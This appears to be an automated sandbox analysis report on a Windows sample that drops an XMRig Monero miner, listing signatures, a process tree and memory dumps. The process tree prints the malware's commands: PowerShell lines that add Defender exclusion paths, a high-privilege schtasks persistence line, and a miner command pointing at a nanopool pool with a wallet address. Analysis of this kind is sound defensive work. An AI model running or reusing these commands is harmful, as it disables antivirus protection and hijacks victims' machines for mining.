Analysis
- max time kernel
84s - max time network
171s - platform
windows7_x64 - resource
win7-20220812-en - resource tags
- submitted
06/12/2022, 12:03
General
- Target file.exe
- Size 2.6MB
- Sample221206-n71qdsfe57
- SHA256 cb8d739492d9749cab1cbb725faca2e4a75b992034b9fa0da3a37f341f6d6aa7
Malware Config
Signatures
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- XMRig Miner payload 3 IoCs
- Executes dropped EXE 1 IoCs
- Loads dropped DLL 1 IoCs
- Uses the VBS compiler for execution 1 TTPs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
- Delays execution with timeout.exe 1 IoCs
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 8 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 42 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\file.exe"C:\Users\Admin\AppData\Local\Temp\file.exe"1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\cmd.execmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp5B6A.tmp.bat""2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\timeout.exetimeout 33⤵
- Delays execution with timeout.exe
-
-
C:\ProgramData\mediaApp\ILGDIYG.exe"C:\ProgramData\mediaApp\ILGDIYG.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\ProgramData'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming'4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "ILGDIYG" /tr "C:\ProgramData\mediaApp\ILGDIYG.exe"4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\schtasks.exeschtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "ILGDIYG" /tr "C:\ProgramData\mediaApp\ILGDIYG.exe"5⤵
- Creates scheduled task(s)
-
-
-
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\vbc.exe -o xmr-eu1.nanopool.org:14433 -u 4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQoBJqYKAGMEQrLE8L8 --tls --coin monero4⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
ILGDIYG.exe
ILGDIYG.exe
tmp5B6A.tmp.bat
590aee7bdd69b59b.customDestinations-ms
590aee7bdd69b59b.customDestinations-ms
590aee7bdd69b59b.customDestinations-ms
ILGDIYG.exe
memory/1092-132-0x000000000240B000-0x000000000242A000-memory.dmp
memory/1092-129-0x000000001B860000-0x000000001BB5F000-memory.dmp
memory/1092-127-0x0000000002404000-0x0000000002407000-memory.dmp
memory/1092-136-0x000000000240B000-0x000000000242A000-memory.dmp
memory/1092-125-0x000007FEF4A80000-0x000007FEF55DD000-memory.dmp
memory/1092-135-0x0000000002404000-0x0000000002407000-memory.dmp
memory/1092-121-0x000007FEECDC0000-0x000007FEED7E3000-memory.dmp
memory/1212-157-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1212-159-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1212-183-0x0000000000000000-0x0000000001000000-memory.dmp
memory/1212-182-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1212-181-0x0000000000000000-0x0000000001000000-memory.dmp
memory/1212-156-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1212-180-0x0000000140000000-0x00000001407C9000-memory.dmp
memory/1544-123-0x000007FEECDC0000-0x000007FEED7E3000-memory.dmp
memory/1544-126-0x000007FEF4A80000-0x000007FEF55DD000-memory.dmp
memory/1544-128-0x0000000002984000-0x0000000002987000-memory.dmp
memory/1544-130-0x000000001B7C0000-0x000000001BABF000-memory.dmp
memory/1544-141-0x0000000002984000-0x0000000002987000-memory.dmp
memory/1544-142-0x000000000298B000-0x00000000029AA000-memory.dmp
memory/1688-103-0x000007FEFE7D0000-0x000007FEFE841000-memory.dmp
memory/1688-109-0x00000000000C0000-0x00000000003B4000-memory.dmp
memory/1688-94-0x000007FEFA740000-0x000007FEFA7AF000-memory.dmp
memory/1688-95-0x000007FEF6540000-0x000007FEF65DC000-memory.dmp
memory/1688-96-0x00000000000C0000-0x00000000003B4000-memory.dmp
memory/1688-97-0x000007FEFEDC0000-0x000007FEFEE27000-memory.dmp
memory/1688-99-0x0000000076D50000-0x0000000076E4A000-memory.dmp
memory/1688-98-0x0000000000530000-0x0000000000571000-memory.dmp
memory/1688-100-0x000007FEFEE60000-0x000007FEFEEFF000-memory.dmp
memory/1688-101-0x0000000076C30000-0x0000000076D4F000-memory.dmp
memory/1688-102-0x000007FEFCD20000-0x000007FEFCD8C000-memory.dmp
memory/1688-148-0x000007FEF9DE0000-0x000007FEF9E44000-memory.dmp
memory/1688-104-0x000007FEF6200000-0x000007FEF62F7000-memory.dmp
memory/1688-105-0x000007FEFEF00000-0x000007FEFEFDB000-memory.dmp
memory/1688-106-0x000007FEF4090000-0x000007FEF4A7C000-memory.dmp
memory/1688-107-0x000007FEFF030000-0x000007FEFF15D000-memory.dmp
memory/1688-108-0x000007FEFD220000-0x000007FEFD423000-memory.dmp
memory/1688-131-0x000007FEFD500000-0x000007FEFD5D7000-memory.dmp
memory/1688-110-0x000007FEF5E00000-0x000007FEF5F2C000-memory.dmp
memory/1688-147-0x000007FEFEFE0000-0x000007FEFF02D000-memory.dmp
memory/1688-146-0x000007FEF0B80000-0x000007FEF0BE2000-memory.dmp
memory/1688-145-0x000007FEFA0A0000-0x000007FEFA0BC000-memory.dmp
memory/1688-144-0x000007FEFC490000-0x000007FEFC4A7000-memory.dmp
memory/1688-143-0x000007FEFC5E0000-0x000007FEFC602000-memory.dmp
memory/1688-149-0x000007FEF9E90000-0x000007FEF9F01000-memory.dmp
memory/1688-150-0x000007FEFCA60000-0x000007FEFCA85000-memory.dmp
memory/1688-151-0x000007FEFA7E0000-0x000007FEFA807000-memory.dmp
memory/1688-152-0x000007FEFCCC0000-0x000007FEFCCF6000-memory.dmp
memory/1688-134-0x000007FEFD4E0000-0x000007FEFD4FF000-memory.dmp
memory/1688-153-0x000007FEFC2B0000-0x000007FEFC30B000-memory.dmp
memory/1688-154-0x00000000000C0000-0x00000000003B4000-memory.dmp
memory/1688-155-0x0000000000530000-0x0000000000571000-memory.dmp
memory/1688-120-0x000007FEFB2A0000-0x000007FEFB4B5000-memory.dmp
memory/1932-67-0x0000000002420000-0x0000000002461000-memory.dmp
memory/1932-68-0x000007FEFF030000-0x000007FEFF15D000-memory.dmp
memory/1932-64-0x000007FEFEF00000-0x000007FEFEFDB000-memory.dmp
memory/1932-62-0x000007FEFE7D0000-0x000007FEFE841000-memory.dmp
memory/1932-61-0x000007FEFCD20000-0x000007FEFCD8C000-memory.dmp
memory/1932-60-0x0000000076C30000-0x0000000076D4F000-memory.dmp
memory/1932-65-0x000007FEF4BF0000-0x000007FEF55DC000-memory.dmp
memory/1932-59-0x000007FEFEE60000-0x000007FEFEEFF000-memory.dmp
memory/1932-58-0x0000000076D50000-0x0000000076E4A000-memory.dmp
memory/1932-66-0x00000000009A0000-0x0000000000C94000-memory.dmp
memory/1932-55-0x000007FEFA740000-0x000007FEFA7AF000-memory.dmp
memory/1932-63-0x000007FEF6440000-0x000007FEF6537000-memory.dmp
memory/1932-69-0x000007FEFD220000-0x000007FEFD423000-memory.dmp
memory/1932-70-0x00000000009A0000-0x0000000000C94000-memory.dmp
memory/1932-57-0x000007FEFEDC0000-0x000007FEFEE27000-memory.dmp
memory/1932-56-0x000007FEF6540000-0x000007FEF65DC000-memory.dmp
memory/1932-71-0x000007FEF61D0000-0x000007FEF62FC000-memory.dmp
memory/1932-82-0x000007FEFD4E0000-0x000007FEFD4FF000-memory.dmp
memory/1932-83-0x00000000009A0000-0x0000000000C94000-memory.dmp
memory/1932-84-0x0000000002420000-0x0000000002461000-memory.dmp
memory/2004-85-0x000007FEF4A80000-0x000007FEF55DD000-memory.dmp
memory/2004-111-0x000000001B730000-0x000000001BA2F000-memory.dmp
memory/2004-139-0x000000000235B000-0x000000000237A000-memory.dmp
memory/2004-137-0x0000000002354000-0x0000000002357000-memory.dmp
memory/2004-133-0x000000000235B000-0x000000000237A000-memory.dmp
memory/2004-74-0x000007FEFB871000-0x000007FEFB873000-memory.dmp
memory/2004-79-0x000007FEECDC0000-0x000007FEED7E3000-memory.dmp
memory/2004-88-0x0000000002354000-0x0000000002357000-memory.dmp
memory/2016-86-0x000007FEF4A80000-0x000007FEF55DD000-memory.dmp
memory/2016-87-0x0000000002954000-0x0000000002957000-memory.dmp
memory/2016-80-0x000007FEECDC0000-0x000007FEED7E3000-memory.dmp
memory/2016-140-0x000000000295B000-0x000000000297A000-memory.dmp
memory/2016-118-0x000000001B780000-0x000000001BA7F000-memory.dmp
memory/2016-138-0x0000000002954000-0x0000000002957000-memory.dmp